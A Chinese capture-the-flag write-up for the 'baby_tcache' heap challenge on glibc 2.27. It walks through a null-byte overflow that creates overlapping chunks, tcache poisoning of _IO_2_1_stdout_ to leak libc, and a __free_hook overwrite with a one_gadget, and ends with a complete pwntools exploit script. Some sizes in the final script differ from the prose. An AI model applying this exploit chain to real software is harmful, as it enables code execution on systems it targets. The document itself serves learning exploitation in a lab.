链接:https://pan.baidu.com/s/1LiWzcGrrdDOI3gH6EXhQzA
提取码:79ui
libc2.27
grxer@grxer ~/D/s/c/p/heap> checksec baby_tcache [*] '/mnt/hgfs/Share/ctfwiki/pwn/heap/baby_tcache' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
|
只有add和delete功能,最多10个chunk,漏洞也很容易找到
new里的 v3[size] = 0;
null byte one漏洞
很容易可以利用去构成overlapping chunk 去做freehook就行了,但是程序没有输出,怎么泄露libc呢
输出函数只有printf和puts,printf在IOFILE里分析过了看下puts把
libio/ioputs.c
int _IO_puts (const char *str) { int result = EOF; _IO_size_t len = strlen (str); _IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0 || _IO_fwide (_IO_stdout, -1) == -1) && _IO_sputn (_IO_stdout, str, len) == len && _IO_putc_unlocked ('\n', _IO_stdout) != EOF) result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout); return result; }
|
熟悉的_IO_sputn调用,fwrite的主要函数,最终会输出_IO_2_1_stdout_
中_IO_write_base~IO_write_ptr之间的内容,虽然程序用setvbuf关了缓冲区,但是setvbuf是打开_IO_2_1_stdout_的flag低两个bit来关闭缓冲区的,如果我们可以控制底层的flag,还怕这个?
思路把_IO_2_1_stdout_链入bin伪造一波,获取libc,利用overlapping做freehook
overlapping chunk
add(0x500-0x8) add(0x30) add(0x40) add(0x50) add(0x60) add(0x500 - 0x8) add(0x70) delete(4) add(0x68,b'a'*0x60 + b'\x60\x06') delete(2) delete(0) delete(5)
|
申请了6个堆
想让堆5做先前合并到0,就需要修改堆5的prevsize和previnuse位,
释放堆5时要制造前面所有堆块是一个大堆块且free状态的假象,prevsize=0x500+0x40+0x50+0x60+0x70=0x660
释放4再申请0x68拿回来原来的chunk,由于空间复用和null byte overflow 可以修改堆5的prevsize和previnuse位
释放0再释放5构成unlink,导致overlapping
大小为0x660+0x500=0xB60符合预期
同时把堆2放入bin里为下一步做准备
IO_2_1_stdout入链
我们可以切割unsortedbin来让在tcachebin的堆2的fd指向unsortedbin,
切割大小为0x500+0x40,减去chunkhead为0x530大小
add(0x530)
申请出来尾号1790的chunk,把他的fd低两个字节改掉就可以入链
add(0xa0, b'\x60\xc7')
泄露libc
拿出来stdout进行伪造
flag需要满足
#define _IO_MAGIC 0xFBAD0000 #define _IO_NO_WRITES 8 #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000
|
即flag=0xFBAD1800
add(0x40)
add(0x3f,p64(0xfbad1800) + p64(0) * 3 + b'\x00')
为什么会是3f这么奇怪的数字而不是直接0x40大小,应为我们程序会v3[size] = 0;会在申请到的堆0x7ffff7bec760+size位置零,在stdout的IO_FILE结构体里随便置零极有可能导致程序crash掉
所以我们选择了一块本来就是零的地方,0x3e 0x3f 0x47 0x48都可以
修改前
修改后
下次输出菜单时即可泄露地址
freehook
这个时候我们看下unsortbin
哟,这不是我们的堆4吗,如果我们在前面
add(0x40)
add(0x3f,p64(0xfbad1800) + p64(0) * 3 + b'\x00')
的时候释放掉chunk4时,不就可以把chunk4放入tcache吗
delete(4) add(0x530) add(0xa0, b'\x60\xc7')
两次申请freehook里写入onegadget即可
add(0x60,p64(libcelf.symbols['__free_hook']))
add(0x60) add(0x60,p64(onegadget))
delete(0)
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./baby_tcache' elf = ELF(pwnfile) libcelf=ELF('/mnt/hgfs/Share/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so') rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) b = lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") def add(size,content=b'x'): sla(b'choice: ',b'1') sla(b'Size:',str(size).encode()) sa(b'Data:',content)
def delete(index): sla('choice: ',b'2') sla('Index:',str(index).encode()) add(0x500-0x8)
add(0x30) add(0x40) add(0x50) add(0x60) add(0x500 - 0x8) add(0x70)
delete(4)
add(0x68,b'a'*0x60 + b'\x60\x06')
delete(2) delete(0)
delete(5)
delete(4) add(0x530) add(0xa0, b'\x60\xc7')
add(0x40)
add(0x48,p64(0xfbad1800) + p64(66) * 3 + b'\x00')
r(8) libc=uu64(r(6))-0x3ed8b0 p('libc',libc) libcelf.address=libc onegadget=libc+0x4f302
add(0xa0,p64(libcelf.symbols['__free_hook']))
add(0x60) add(0x60,p64(onegadget)) delete(0) io.interactive()
|